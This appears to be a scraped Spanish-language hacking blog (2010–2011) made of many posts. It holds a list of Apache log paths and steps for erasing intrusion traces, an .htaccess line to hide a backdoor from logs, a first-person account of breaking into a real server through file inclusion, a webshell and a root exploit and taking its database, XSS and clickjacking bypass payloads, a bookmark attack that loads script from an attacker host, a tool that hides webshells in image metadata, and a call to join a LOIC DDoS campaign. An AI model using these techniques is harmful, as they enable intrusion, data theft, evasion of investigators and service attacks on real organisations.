apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
etc/httpd/logs/acces_log
etc/httpd/logs/acces.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
var/log/apache/access_log
var/log/apache2/access_log
var/log/apache/access.log
var/log/apache2/access.log
var/log/access_log
var/log/access.log
var/www/logs/error_log
var/www/logs/error.log
usr/local/apache/logs/error_log
usr/local/apache/logs/error.log
var/log/apache/error_log
var/log/apache2/error_log
var/log/apache/error.log
var/log/apache2/error.log
var/log/error_log
var/log/error.log
var/log/access_log
var/log/access_log

Se puede eliminar con RM, o editar, pero para asegurarse de no dejar nada mal, hacer uso de Tee.

C) Eliminar el Bash History
C-1) Si, es algo lógico, que mucha gente olvida...
C-2) Es tan sencillo como editar y/o eliminar el .bash_history o .sh_history
C-3) Recordar: Esto se hace JUSTO ANTES de salir.

D) Eliminar todo rastro de exploits, webshells, sniffers, ...
D-1) Como comenté, me descubrieron por dejar un Root Exploit. No saben quien fué, pero ahí supongo que seguirá.

E) Tener cuidado con los cambios en el sistema
E-1) Este paso es vital. Si hiciste un cambio y te agarran, será peor que si solo realizaste la intrusión, dependiendo del pais en el que residas.

F) Cuidado con los Backdoors
F-1) Durante un corto tiempo puede pasar inadvertido, durante más, puede ser descubierto... Más vale prevenir que curar.

G) Eliminar toda cuenta realizada, sobre todo si tiene permisos de Root
G-1) No basta con eliminar los permisos de shell (/sh/false)

H) Cuidado: Si hay alguien más logeado al sistema, puede ser muy peligroso.
H-1) Pueden capturarte fácilmente, además de rastrearte sin el más minimo problema.

I) Desconfia de todos. El anonimato implica el silencio absoluto, discreción, y seguridad. Jamás digas "Ataqué X servidor", si hay necesidad, "Ataqué un servidor". Fuera del sistema, si eres buscado, no dudes que te espiarán.
I-1) No existe proxy seguro, solo muy faciles, faciles, complejos, y extremadamente complejos. Pero no seguros.

J) Cuidado con el syslog.
J-1) En ocasiones puede ser más complejo de lo habitual deshacerse de cambios realizados en el.

K) Comandos de interés:
-Who: Lista usuarios activos.
-last: Ultimo inicio de sesión de usuario.
-ps: Procesos activos.
-lastcom / hostory: Comandos realizados. Véase apartado C.

L) Ficheros peligrosos:
-utmp: Guarda un registro (log) de los usuarios que están utilizando el sistema mientras estan conectados al sistema. Directorios: /var/adm/utmp y /etc/utmp
-wtmp: Guarda un log cada vez que un usuario se introduce en el sistema o sale del sistema.
-lastlog: Guarda un log del momento exacto en que un usuario entro por ultima vez.
-acct o pacct: Registra todos los comandos ejecutados por cada usuario (aunque no registra los argumentos con que dichos comandos fueron ejecutados).

Despedida:
Bueno, como comenté en mi último relato, espero sea de su agrado.

Se aceptan críticas, sugerencias, y amenazas de muerte.

Como siempre digo: "Más vale saber que haces, que saber hacer"

Un saludo!

.htaccess: ocultar backdoor

2011-08-19T07:14:00.002+02:00

Saludos,

No es raro que cuando un atacante logra vulnerar la seguridad de nuestra web éste deje un backdoor en los archivos originales de la web para poder tener acceso de nuevo en un futuro. Lo ideal es que tras un ataque se analicen todos los archivos alojados para comprobar si han inyectado algo raro, pero eso no siempre pasa en la realidad y los backdoors quedan escondidos hasta que sean utilizados.

Leyendo un paper sobre troyanos en PHP me he encontrado con una idea bastante interesante de cómo ocultar las peticiones al archivo que está infectado (en realidad exponen varias ideas que combinan pero voy a comentar esta en concreto). Lo que proponen es la creación de un .htaccess en cuyo interior haya una directiva que indique que no se logueen las peticiones a nuestro archivo backdooreado (en el caso del paper la cosa era algo diferente, por lo que he comentado antes de que usa varios métodos). Básicamente esto podríamos hacerlo con la siguiente línea:



SetEnvIf Request_URI "^/0verl0ad/XC3LL\.php$" dontlog

SetEnvIf sirve para definir variables de entorno a partir de los parámetros de las peticiones, pudiendo usar para ello los headers incluso. En este caso el atributo con el que se define es Request_URI (la URI es la parte de la URL que viene detrás del dominio). Tanto ^ como $ son parte de regexp (expresiones regulares), denotando la primera el inicio del string y la segunda el final. Por último "dontlog" es lo que indica que no loguee.

En resumen esa directiva deshabilitaría el log de las peticiones que se realicen a la URI señalada (esa URI sería donde tendríamos el archivo backdorizado).

El fingerprinting dentro de la Seguridad Web

2011-08-17T01:22:00.003+02:00

Saludos,

Me he entretenido estas últimas noches en escribir este pequeño PDF. De entrada digo que no hablo de nada nuevo, símplemente es una recopilación de diferentes técnicas para que los que empiezan conozcan un poco más de este tema. Si alguien puede hacer mirrors sería de agradecer.

Indice:
1. Introducción
2. Identificación de aplicaciones web
2.1. Información dentro de HTML
2.2. Códigos de estado HTTP
2.3. Checksums
2.4. Motores de búsquedas
2.5. Robots.txt
3. Identificación de Servidores Web
3.1 Análisis de cabeceras HTTP
3.2 HTTP Parameter Pollution / Contamination
4. Referencias

DESCARGA => SlideShare
MIRROR => AnyHub
EXPLOIT-DB => Descargar

Evadiendo Snort con Paquetes Fragmentados

2011-08-15T20:44:00.002+02:00

Hace unos días, iDefense publico un advisory sobre una vulnerabilidad en el preprocesador Frag3 de Snort que permitiría evadir la detección de un ataque con paquetes fragmentados.

Definitivamente esta vulnerabilidad no tuvo el mismo impacto mediático que la catástrofe criptográfica de Debian, pero que todas las redes protegidas por Snort, hayan sido susceptibles a ataques de los que nadie se ha enterado, no es para nada poca cosa.

Parte del advisory de iDefense decía lo siguiente:

"Due to a design error vulnerability, Snort does not properly reassemble fragmented IP packets. ... In order to exploit this vulnerability, an attacker would have to fragment IP packets destined for a targeted host, ensuring that the TTL difference is greater than the configured maximum. By default, the maximum difference is 5."

¿ Cuál es el problema ?

Básicamente, el problema se debía a la opción "ttl_limit" de frag3, que por default tiene un valor de 5. Esto significa que si llegaba un fragmento con una TTL de 40, y luego otro con una TTL de 46, debido a la vulnerabilidad encontrada estos fragmentos no serían controlados por la política de Snort.

Al parecer esto se debió a un error de concepto introducido en Snort 2.6 y 2.8, y que ha sido corregido por Sourcefire en el nuevo release 2.8.1. iDefense también propone un workaround a este problema, que consiste en llevar el "ttl_limit" a su valor máximo de 255.

¿ Qué es frag3 y porque controla la TTL ?

frag3 es un preprocesador de Snort. Un preprocesador sirve para detectar ataques que no pueden ser detectados mediante una comparación de firmas, o para normalizar datos que luego si puedan ser detectados por comparación de firmas. En particular, el preprocesador frag3 se encarga de reensamblar paquetes fragmentados para poder comparar el payload con firmas de ataques.

Una de las técnicas mas usadas para evadir un IDS es la fragmentación de paquetes, por lo que frag3 no solo reensambla los paquetes, sino que también verifica que no se este intentando realizar una evasión mediante paquetes fragmentados, y aquí es en donde entra en juego el control de la TTL.

frag3 posee 2 opciones para controlar la TTL, una es "min_ttl" y la otra es "ttl_limit", en la cual se descubrió la reciente vulnerabilidad. Veamoslas un poco más:

- min_ttl: Indica el valor mínimo de TTL que debe tener un paquete para ser aceptado. Esto es útil para detectar ataques de evasión en los que entre nuestro IDS y el target hay un router. La idea de estos ataques es enviar un paquete fragmentado con una TTL muy chica que al pasar por el router expire.

Por ejemplo, mandamos 3 paquetes fragmentados a un target, el primero y el tercero poseen un payload de ataque y una TTL alta, mientras que el segundo paquete posee un payload con datos basura y una TTL muy chica. Cuando Snort reensamble los 3 paquetes, se mezclará el payload de ataque con los datos basura, y ninguna comparación de firmas detectará el ataque. Como el segundo paquete tiene una TTL muy chica, va a expirar cuando pase por el router, y solamente llegarán al target el primer y el tercer paquete, que efectivamente tenían el payload de ataque.

- ttl_limit: Como ya dijimos, esta opción controla la diferencia máxima del valor de la TTL que puede haber entre paquetes fragmentados con el mismo ID de fragmentación. Según se ha publicado, esto es un error de diseño que ya se venía arrastrando de versiones anteriores de Snort con frag2, y que en el futuro será descontinuado.

Al parecer, esta opción fue agregada porque herramientas como Fragroute, para realizar ataques de evasión con paquetes fragmentados, configuraban los campos de los paquetes con valores al azar que raramente se veían en tráfico normal. Por ejemplo, una diferencia de TTL de hasta 5 saltos podría llegar a ser normal ya que es posible que un paquete haya tomado una ruta mas larga, pero según entiende Snort más de 5 saltos ya es algo más raro.

Bueno, saludos a todos los administradores de Snort que seguramente deben tener mucho trabajo, primero corrigiendo esta vulnerabilidad, y después averiguando si en algún momento los han hackeado sin enterarse ;-)

Fuente: Kunfoosion.com

Relato de una intrusión

2011-08-15T18:45:00.003+02:00

Hace unos dias, mientras navegaba aburrido por la Web, encontre una pagina con una vulnerabilidad LFI.

El sitio, por privacidad, lo llamaremos www.site.com.

Observe que la dirección del archivo a incluir lo pasaba mediante GET por la variable "site.com/index.phpPage=", a la cual se agregaba la extensión ".PHP" por seguridad...

Estuve un rato pensando como evadirlo, y llegue a una conclusión: Tratar con el Null Byte.

Básicamente, para explotarlo, o que hice fue utilizar un archivo inexistente, observar la ruta donde estaba el directorio htdocs, (/var/www/htdocs), para después buscar algún fichero que vulnerar.

En un primer intento, trate de enviarle la ruta: ../../../etc/passwd%00, el cual funciono exitosamente, y buscando, concluí que existía el fichero /proc/self/environ, el cual mostraba mi User-Agent. Cabe aclarar que este permitia la inclusión de PHP modificando via Live HTTP Headers.

Con todo esto, conseguí crear una webshell en el servidor, lo que me facilito los datos de la base de datos, y una copia de la web.

Se trataba de un kernel 2.6.30, así que decidí dejar mi netcat escuchando en modo recursivo, y cree la conexión con el Host.

Posteriormente, vía wget descargue un Root Exploit que encontré por la red, lo cual me permitió permisos de Root en dicho servidor.

Resulta que, en dicho servidor, habían mas de 50 usuarios, con varios dominios cada uno...
Lejos de hacer un deface masivo, lo cual nunca fue, ni sera, mi objetivo, decidí limpiar mis huellas y salir de ahí, con una clara conclusión:

Un solo fallo, lo pueden pagar muchos.

Mi único trofeo fue la copia de la Web, y de la base de datos.

Un saludo, y espero sea de su agrado mi primera publicación en este Blog.

Att: Yo-Mismo

HTML5 [III]: Rompiendo medidas anti-Clickjacking

2011-08-10T21:57:00.003+02:00

Saludos,

Continuamos hablando de HTML5 y sus implicaciones futuras en la seguridad, como ya hicimos anteriormente. En esta ocasión vamos a comentar la posibilidad de bypassear una de las medidas más comunes para evitar el clickjacking, utilizando para ello las innovaciones que se están implantando con HTML5.

La medida contra Clickjacking más común que adoptan las páginas webs es el Frame Busting, consistente en comprobar el atributo location, y si este es diferente al que debiera ser se manda la navegación a la página correcta. Normalmente se suele establecer este control usando un script sencillo en JS:



<script type="text/javascript">

    if (top.location != location) top.location = self.location;

 </script>

Entre los nuevos atributos introducidos con HTML5 se encuentra "sandbox", el cual permite añadir restricciones extra al contenido de un iframe. De esta forma se puede bloquear la ejecución de JavaScript, de formularios, etc. al cargar dentro del sandbox el iframe. Como exponen en este advisory la propia naturaleza del atributo sandbox deshabilita la protección contra ClickJacking, puesto que impide la ejecución del código JS que lleva a cabo tal acción.

Otra posible forma de evitar esta protección es usando el evento OnBeforeUnload (evento del cual ya hablamos en el anterior post) . Podemos usar este evento para que devuelva algún mensaje, provocando que el usuario lo cancele y permita visualizar el iframe dirigido a la víctima. Un posible PoC (extraído de JavaScrip.info) sería:



<script>

window.onbeforeunload = function() {

  window.onbeforeunload = null

  return "Maybe you want to leave the page, before you become rich?!?"

}

</script>



<iframe src="http://victima.com"></iframe>

Para ampliar más sobre el tema del bypass de los frame busters hay una publicación muy interesante que recomiendo:

Busting frame busting

HTML5 y el bypassing de filtros XSS [II]

2011-08-10T04:36:00.007+02:00

Saludos,

De nuevo vengo a publicar "nuevas" formas de bypassear filtros anti-XSS que se basen en listas negras de strings, como ya hice hace poco. Gracias a que HTML5 ha introducido nuevos eventos que nos permiten ejecutar JS podremos encontrar filtros que no hayan actualizado sus strings restringidos.

Los nuevos elementos que a priori he visto interesantes son OnBeforeUnload, OnUnLoad, y los eventos que se activan por teclado (OnKeyDown, OnKeyUp,OnKeyPress). Respecto a los primeros citados, estos se activan cuando se pierde la página donde se ejecuta, es decir, cuando por ejemplo cerramos la ventana, actualizamos, vamos hacia atrás, seguimos un link, etc. Se trata de una acción bastante común en la navegación, por lo que tenemos la certeza de que en algún momento va a ser ejecutado:

</body><body onBeforeUnload=alert(/XSSED/)>Alfa</body>

Por otra parte la familia de eventos "OnKey" se ejecutan cuando una tecla es pulsada (Down), cuando se levanta el dedo de ésta (Up), y cuando se han realizado ambas acciones (Press):

</body> <body OnKeyDown=alert(/XSSED/)>Charlie</body>

SMF 2.0: Privilege escalade (from Token Hijacking)

2011-08-06T17:17:00.003+02:00

Saludos,

Como recordareis recientemente habíamos descubierto cierta vulnerabilidad en el sistema de foros SMF que nos permitía robar el token del staff (incluido el admin), y entre los posibles usos estaba el bypass de las protecciones contra CSRF. Como es lógico, lo primero que pensemos era en intentar hacer una escalada de privilegios hasta admin, cosa que nuestro querido amigo Seth logró.

En el siguiente disclosure se muestra el PoC codeado por Seth para escalar privilegios hasta admin, además de explicar cómo parchearlo y otra forma de obtener el token (también relacionado con el centro de moderación):

SMF 2.0: Session hijacking disclosure [English]

SMF 2.0: Token Hijacking

2011-08-03T12:57:00.004+02:00

Saludos,

El otro día enredando y tratando de auditar cierto foro me encontré con este pequeña vulnerabilidad, que pudiera pasar por insignificante pero que sirve de llave para ejecutar un CSRF.

En primer lugar: ¿qué diablos es un token de sesión? Podemos entender como un token, en este contexto, como una cadena identificadora, generada en el momento de iniciar nuestra sesión, que permite autenticar nuestra acciones dentro de nuestra sesión como nuestras. De esta forma se evitan los ataques CSRF, puesto que si por ejemplo para realizar un logout es requerido el token (P.E.: http://webfalsa.com/index?action=logout;[aquí el token] ) a menos que el atacante lo conozca de antemano no podrá llevar a cabo el CSRF para desloguearlo.

Es por ello que cuando nos encontramos con la posibilidad de ejercer un robo de tokens nos estamos saltando esa restricción. En este caso concreto, el del sistema de foros SMF 2.0, el problema subyace en que el token es enviado por una petición HTTP de tipo GET, por lo que como ya escribí en su momento, se puede interceptar usando como sniffer un archivo .php en nuestro servidor (como se puede observar en el enlace.

Ahora bien, ¿donde se nos expone el token como para poder interceptarlo?. En el centro de moderación, cuando navegamos a través de él (viendo los logs, o cualquier otra cosa que atañe a los moderadores, y superiores, únicamente) y volvemos al apartado principal del centro de moderación, podemos observar en la url lo siguiente:

/index.php?action=moderate;area=index;e2971bcc=2fddd45d00d9d9482005af0737680afd

Siendo lo que está en negrita el token. En ese mismo sitio encontramos un apartado tipo tagboard ("Notas de moderación") en el cual podemos insertar BBCode, y entre las etiquetas permitidas se cuentra la recurrente [img].

Así pues, podremos capturar los token de sesión de los otros moderadores, gmods y administradores, y poder desarrollar a posteriori ataques tipo CSRF.

¡Logo para el blog!

2011-07-26T17:09:00.002+02:00

Saludos,

Pues sí, por fin tenemos un logotipo. ¡Todo gracias a 5475UK1!:

HTML5: Nuevos vectores XSS (Bypass)

2011-07-23T01:24:00.006+02:00

Saludos,

Estoy hechando un vistazo a esta web para documentarme sobre HTML5 cuando me he topado con algunas cuestiones bastante interesantes puesto que pueden llegar a ser útiles para el bypass de algunos filtros contra XSS.

Al navegar por la mencionada web me he encontrado con los nuevos elementos "<video>" y "<audio>, cuyo funcionamiento es similar al clásico <image> (con un atributo SRC que es donde se encuentra el video/audio a reproducir). Dudo mucho que actualmente se filtren dichos elementos en los mensajes, por lo que se puede recurrir al mismo truco que se hacía con image: colocar como src del video algo inexistente y después usar el evento onerror para ejecutar nuestro XSS. Algo así:


<video src=. onerror=alert(/XSSed/)>
<audio src=. onerror=alert(/XSSed/)>

Por otra parte también me ha llamado la atención un nuevo atributo para input llamado autofocus (http://www.html5tutorial.info/html5-autofocus.php) que permitiría la ejecución de código javascript sin necesidad de la interacción con el usuario (mejor que onclick y onmouseover). El código sería algo tipo:


<input name="XSS" onfocus=alert(/XSSed/) autofocus>

HPC: HTTP Parameter Contamination

2011-07-21T23:10:00.003+02:00

Saludos,

Estos días ha estado rulando por la red un pequeño paper (firmado por RSnake, j0rgan y lightos) llamado "HTTP Parameter Contamination", en el que exponen sus investigaciones sobre la intoxicación de los parámetros enviados al servidor (peticiones GET, POST...). La semilla de todo esto fue otra presentación en 2009 que trataba también de malformar los parámetros enviados, en este caso haciendo que, por ejemplo, se enviasen dos variables con el mismo nombre pero distinto valor ( /index.php?var1=A&var1=B ). Al tratarse de algo inesperado los servidores manejan esta situación de distintas formas (algunos dejan la variable con el primer valor asignado, otras con el segundo, o las concatenaban).

Este primer paper ( que linkearé al final de este post) llamaba a la técnica de setear una misma variable dos veces "HPP, HTTP Parameter Polluting", y de ella se podían extraer dos posibles vertientes de trabajo. Por un lado implícitamente el hecho de que en cada servidor ante esta técnica la respuesta era diferente implica su posible utilización para realizar fingerprinting. Por el otro lado también habría una nueva puerta para el bypass de WAFs (por ejemplo, en el caso en el que se producía concatenación se podría aprovechar ésta para realizar inyecciones SQL).

La "nueva" técnica (HPC) intoxica los parámetros malformando las variables (y sus valores asignados) con caracteres reservados, provocando igualmente respuestas /in/esperadas por parte del servidor. Nuevamente estas respuestas han sido recogidas en una tabla, permitiendo la identificación de un servidor a través del tipo de respuesta que obtengamos al malformar la petición (dicho cuadro, junto con el obtenido al aplicar HPP aparecen en los respectivos papers que están más abajo). Además al igual que el anterior caso también permite el bypass de WAFs.

[1] HTTP Parameter Pollution
[2] HTTP Parameter Contamination

Localizar panel de control

2011-07-19T12:12:00.003+02:00

Saludos,

Hago esta pequeña guía rápida porque ya son bastantes personas las que preguntan como encontrar el panel de administración (imagino que la mayoría de estas personas simplemente a lanzar alguna tool para encontrar SQLi sin preocuparse por nada más).

Para encontrar la zona de login normalmente basta con sólo navegar por el sitio web y estar atentos. Cuando ya has auditado algunas webs sabes más o menos por donde van los tiros, y puedes deducir de forma habitualmente exacta, donde se encuentra el panel de administración. La experiencia adquirida es un grado en esto.

1) Aplicaciones pre-fabricadas

Por otra parte cuando una web utiliza aplicaciones pre-fabricadas no suelen variar las rutas de sus archivos, por lo que si es este el caso podeis instalaros dicha aplicación y comprobar donde se encuentran los archivos que buscais, o si no podeis leer la documentación oficial.

2) Robots.txt

Es bastante común que los webmaster incluyan en el archivo robots.txt las rutas y los archivos que no quieren que queden indexados por los motores de búsqueda, por lo que se pueden encontrar allí a veces información sensible sobre donde buscar, o incluso la propia ruta del login del admin.

3) Fuerza bruta

Si de ninguna forma se consigue localizar también se puede recurrir a la fuerza bruta, utilizando aplicaciones muy sencillas que lancen cientos de peticiones GET a directorios y archivos que nosotros tenemos guardados en un diccionario. Las ventajas de esto es que si tenemos un buen diccionario seguro que damos en el clavo, pero esta ventaja es contrarrestada por los aspectos negativos que tiene esta técnica: mucho ruido. Cuando el webmaster analice los logs se va a dar cuenta de una ingente cantidad de errores 404 procedentes de una misma IP en un lapso de tiempo muy corto, por lo que es fácil de detectar.

4) Web Crawlers

Se trata de herramientas que guardan todos los links de un sitio web y continúan navegando a través de ellos, añadiendo a la lista los nuevos links encontrados en la URL que han seguido. De esta forma se puede establecer un mapa de la web de todos los archivos linkeados. Codear una herramienta de este estilo es sencillo (por lo menos en perl simplemente necesitamos WWW::Mechanize y un algortimo de un par de líneas), por lo que puede ser útil si nosotros no hemos encontrado algún link que lleve a la zona de login a simple vista.

Por otra parte también tiene sus inconvenientes, el más lógico es que puede que el panel de administración no esté linkeado en ninguna parte de la web, además de que si la web es de gran tamaño va a ser un intento inútil, puesto que vamos a obtener gran cantidad de resultados y vamos a consumir una gran cantidad de recursos.

Si quereis añadir alguna forma más que soleis usar para este cometido posteadla.

0verLFI versión GUI

2011-06-28T20:30:00.006+02:00

Saludos,

Doddy H., usuario de CPH, ha codeado una versión de 0verLFI con interfaz gráfica, usando para ello la librería TK.

Agradecemos mucho su colaboarición, y ya sabeis si deseais colaborar con algún code, información, publicación o cualquier cosa podeis mandar un correo a overloadblog /at/ hotmail.es

[Source de LFI Image Helper (0verLFI versión GUI]

0verLFI: inyecta webshells en metadatos (JPEG)

2011-06-26T01:23:00.004+02:00

Saludos,

Hoy he codeado esta pequeña y sencilla herramienta para meter webshells dentro de los metadatos de una imagen, sin alterar su visualización. Ideal para explotar LFIs, puesto que podrá pasar desapercibida como una imagen más (un avatar, archivo adjunto, etc.), totalmente inofensiva. Screenshot:

Aquí podemos ver como la imagen se mantiene en perfecto estado:

Y por último probandola en un entorno local vulnerable:

[Source de la Herramienta]

Zombie Cookies: cookies que vuelven a la vida

2011-05-26T14:29:00.006+02:00

Saludos,

Como ya adelanté en el anterior post, las próximas publicaciones van a intentar ajustarse a problemas relacionados con Cookies. En esta ocasión quería hablaros sobre las denominadas Zombie Cookies.

Con Zombie Cookies denominamos a aquellas cookies que son capaces de reaparecer ("volver a la vida") pese a que las borremos una y otra vez. Esto puede ser especialmente interesante para las empresas de Data Mining, puesto que pueden, a través de publicidad por ejemplo, introducirnos una cookie de seguimiento al navegar por una web perfectamente legal. Esto permitiría trazar nuestra hoja de ruta, sabiendo qué tipo de webs nos interesan, y qué productos.

Existen diferentes técnicas para poder generar este tipo de cookies casi indestructibles, basadas en su mayoría en guardar la cookie en distintos centros de almacenamiento que puede usarse en un navegador, como las flash cookies o las imagenes temporales.

El culmen de las zombie cookies es la API de JavaScript "Evercookie", que utiliza gran cantidad de sistemas para almacenar la cookie y reponerla cuando ésta sea borrada. Para más información sobre el tema podeis visitar su web:

EverCookie

La idea de utilizar archivos temporales para renovar las cookies me parece bastante interesante, así que es bastante probable que acabe haciendo algún script a modo de PoC después de exámenes.

Clickjacking + Facebook = Likejacking

2011-05-25T07:17:00.005+02:00

Saludos,

En estos días tenía pensado escribir un poco sobre los peligros de las cookies que no expiran, así que para empezar el tema nada mejor que hacerlo con esta técnica bautizada como "Likejacking" (en referencia al botón "Like" de Facebook). El Likejacking ha sido carne de noticiario, saliendo en televisión y periódicos recientemente, por lo que me parece algo adecuado para entrar en materia.

El concepto es una combinación de un ataque de clickjacking (creo que ya publiqué algo por el blog en su momento) con los Social Plugins de FB. Se trata de que al clickar un video, o cualquier parte de una web, en realidad estemos clickando un botón de "Like" en forma de iframe invisible, por lo que aparecerá en nuestro muro como que "Nos gusta" esa web. Esto puede dar pie a que algún amigo nuestro también clicke sobre la web que supuestamente nos gusta, y también caiga en la trampa, extendiendose la plaga.

Normalmente se suelen identificar estos enlaces fraudulentos por que tienen nombres o descripciones bastante morbosos y que despiertan esa curiosidad innata en el hombre, de ahí el éxito de su extensión entre los amigos de una persona cuyo FB ha sido "infectado". En lo personal me recuerda a aquellos virus que se extendían vía MSN y que para clickar en el enlace ponían mensajes del tipo "Mira mis últimas fotos en la playa desnuda" y cosas al estilo.

Además del spam y la publicidad gratis que se puede conseguir con esta técnica, los creadores de malware lo están empleando para su distribución, con trucos tan viejos (y todavía efectivos) como hacer que el incauto visitante se descargue un plug-in (hete aquí el malware) para poder visualizar contenido.

El problema es tan generalizado debido a que un elevado número de usuarios de redes sociales por comodidad mantienen las sesiones abiertas a través de cookies que no expiran en vez de cerra sesión y loguearse otra vez cada vez que quieran hacer uso de FB. Amén de las personas que tienen el FB abierto durante todo el día.

El código para poner un "Like" en tu web es bastante simple, con un iframe similar a:

<iframe src="http://www.facebook.com/plugins/like.php?href=Tu-web;layout=button_count&show_faces=true&width=100&action=like&font=arial&colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:100px; height:px"></iframe>

Todos los parámetros se pueden modificar (en la propia web de Facebook explican cada uno en detalle). Con este iframe base se puede trabajar para dejarlo invisible (opacity: 0) y además colocarlo en algún punto clave donde el usuario vaya a clickar obligatoriamente. Por supuesto se puede ir más lejos, ofuscando el código por ejemplo.

Bookmarks: Firefox Cross-Domain Vulnerability

2011-05-24T06:46:00.008+02:00

Saludos,

Haciendo un descanso en mi estudio me he puesto a dar vueltas por la red leyendo de aquí para allá sobre vulnerabilidades y me he topado con algo interesante. Se trata de un bug en Firefox, reportado hace mucho tiempo, que permite el uso de JavaScript (con todo lo que ello implica) al abrir un enlace favorito "corrupto".

El concepto consiste en correr código HTML y JS a través de "Data:...". Para informaros como funciona 'Data:' echad un ojo al RFC 2397 "The "data" URL scheme". De esta forma, se hace que la víctima abra de alguna forma un fake hecho con "Data:" (en el cual esté nuestro código JS malicioso) y se hace que la guarde en favoritos. El código JS malicioso sólo se ejecutará cuando la víctima abra el enlace corrupto que tiene en favoritos, y lo hará sobre la web que esté visitando en ese momento.

En otras palabras, lo que te permite esta vulnerabilidad es correr un JS malicioso sobre una web que estás visitando cuando la victima vaya a sus favoritos y abra nuestro enlace malicioso (de ahí lo de Cross-Domain). De esta forma podemos, por ejemplo, conseguir una cookie de un sitio web (P.E. Google) pese a que este no sea vulnerable a XSS. A priori parece poco efectivo, pero aplicando un poco de ingeniería social es perfectamente viable.

Un ejemplo propuesto por el descubridor de la vulnerabilidad (Michal Zalewski) sería al estilo de:

data:text/html;http://Escribir-una-web-que-parezca-real.com/index.html<script src="http://nuestrohost.com/codigo-malicioso.js"></script>

En nuestro código JS malicioso a parte del payload se podría hacer que crease una web falsa para engañar a la víctima. Si bien parece poco probable que alguien guarde en favoritos una enlace en cuya URL viene código JS, pese a que se observe una web fake que pueda interesar a la víctima, siempre se puede ofuscar. Algunas formas simples sería pasando el contenido de "Data:" a Base64 (ver el RFC), o bien usando el truco que aparece en el reto 3 de Seth: añadir tropecientos &nbs p; que acaben ocultando el final de la URL. De esta última forma sólo se vería el "data:text/html;http://Escribir-una-web-que-parezca-real.com/index.html" y no el resto.

PDD: para más info Firefox Bookmarks Cross-Domain Travel Vulnerability
PDD: perdón si lo que he escrito es algo denso o infumable, pero apenas he dormido.

IpCatcher

2011-05-23T09:17:00.002+02:00

Saludos,

Leyendo un post, de no recuerdo quién ni donde, usaban un script en PHP para conseguir la IP de un objetivo, cosa normal y corriente. Lo único que me pareció interesante, a título anecdótico, es que para ver la IP no hacía falta ir abrir el navegador e ir a nuestro servidor donde estaría la IP guardada, sino que la consultaba desde un script en Python. Así que visto esto, codee algo sencillo (más que nada para practicar PHP y Perl, que ando algo oxidado) pero implementando algo más (por supuesto que aun se pueden añadir mil y una cosas más, incluso mejorar/simplificar el code).

El funcionamiento es simple. Por una parte tenemos un PHP (codigo) que al recibir una petición GET indicando usuario y password, y el nombre de nuestro objetivo, nos escupirá otro archivo PHP (el cual se encuentra encriptado en base64 y que puedes ver limpio aquí. Este otro PHP será el que debamos de enviar a nuestro objetivo (a través de un MP puesto como un tag de imagen, por ejemplo), y su cometido es crear un .txt con la IP (y otros datos quizás relevantes).

Tanto para obtener la URL a enviar, como para leer el fichero .txt, usaremos este script en perl (Aquí). No tiene nada especialmente reseñable, se usa WWW::Mechanize para hacer las peticiones y MIME::Base64 para desencriptar el contenido del .txt.

La idea original era que, cuando fuera visitado por nuestro objetivo el enlace al tratar de visualizar la imagen (como si de un CSRF se tratase), éste se borrara y tan sólo quedase el .txt para ser leido. Siendo sinceros, me daba bastante pereza esta mañana ponerme a retocarlo, y estos días mi tiempo es oro (tengo los examenes finales esta semana y la siguiente), así que os dejo hacer eso como tarea ;).

PD: el código PHP en realidad está hecho por Seth. En primera instancia hice yo uno, pero me dió un error sin sentido -el cual al parecer tenía que ver cuando usaba base64_decode() y Seth me lo envió reparado. Como ya he dicho ando mal de tiempo asi que lo dejé tal y como estaba.

Próximamente

2011-05-22T08:04:00.002+02:00

Saludos,

Volvemos. No sé cuanto durará esta vuelta a primera línea de combate, pero vamos a ver en qué acaba la cosa. Quisiera hacer algunos cambios en el blog, y si algún loco sigue leyendo esto, sería bueno conocer su opinión (me refiero a cambios en el theme, añadir algún plug-in y esas cosas).

Por lo pronto estrenamos correo y twitter. El nuevo correo a través del cual podeis enviarno lo que os de la gana será overloadblog (at) hotmail.es . Cualquier sugerencia, aporte o crítica constructiva será bien recibida. Respecto al twitter aquí está:

@TheXC3LL

Apoyo a WikiLeaks

2010-12-09T16:04:00.004+01:00

Saludos,

Vuelvo a recurrir a este blog de forma extraordinaria para pediros vuestra colaboración. A día de hoy es raro que nadie sepa quien es Julian Assange, ni qué es WikiLeaks, así que no voy a entrar en detalles. Sólo voy a decir que esta es una de esas revoluciones que todos los (h)acktivistas siempre ha soñado. Cuando nuestros hijos vean en algún documental, la televisión, lean algún libro en el que aparezca este tema nosotros podremos decirle orgullosos: yo participé.

Es muy bonito decir desde la comodidad de nuestro sillón lo bueno que es WikiLeaks y lo malo malísimo que son los gobiernos. Hay que actuar. No sólo hablar, hay que llegar a los hechos. Cada cual puede aportar de muchas formas. Podemos apoyar económicamente con donaciones a través Pirate Bay.

Después, por favor, pillad backups de WikiLeaks como locos y distribuirlas a todo el mundo. Nuestro compañero WaesWaes de CPH subió una copia de los "Cablegates", espero que no le importe que ponga por aquí su link:

Cablegates 1964 kb

Otro archivo supuestamente interesante es este:

http://thepiratebay.org/torrent/5741985/INSURANCE.AES256_WIKILEAKS.SECRET.DOCUMENT.2010.08.06

Según se comenta contiene información valiosa, que en caso de que le pasara algo malo a Julian Assange, se liberaría la clave con la que está encriptada y se distribuiría la info que contiene.

Y ahora vienen las operaciones. Por un lado primero se lanzó la operación "Mass Mirroring", en base a los ataques y la censura que recibía WikiLeaks. Básicamente se trata de hacer mirrors de WikiLeaks a mansalva (1300 iban esta mañana). Por favor, en este paso la mayoría podemos aportar un granito de arena. Aquí dejo el link oficial de la operación:

http://wikileaks.ch/mass-mirror.html

La otra operación, y esta es la "no-legal" y cada cual puede unirse o no, es la de la operación "Payback", que en resumidas cuentas viene siendo hacer un ataque DDoS a los sitios que han sido utilizados para hacer presión contra WikiLeaks. Anoche se consiguió tirar Mastercard, Visa y cuando me fuí a la cama no sé si llegó a caer Paypal.

Para apoyar esta operación tan sólo debes de usar la sencila herramienta LOIC . Para más info, pasaros por irc.anonops.net #operationpayback

Adiós a todos, y trabajad duro ;)

==============================

Edit 1: Añado las formas de donar

Transferencia bancaria - Opción 1: a través de Prensa del Sol Producciones EHF:

Skulagötu 19, 101 Reykjavik, Islandia
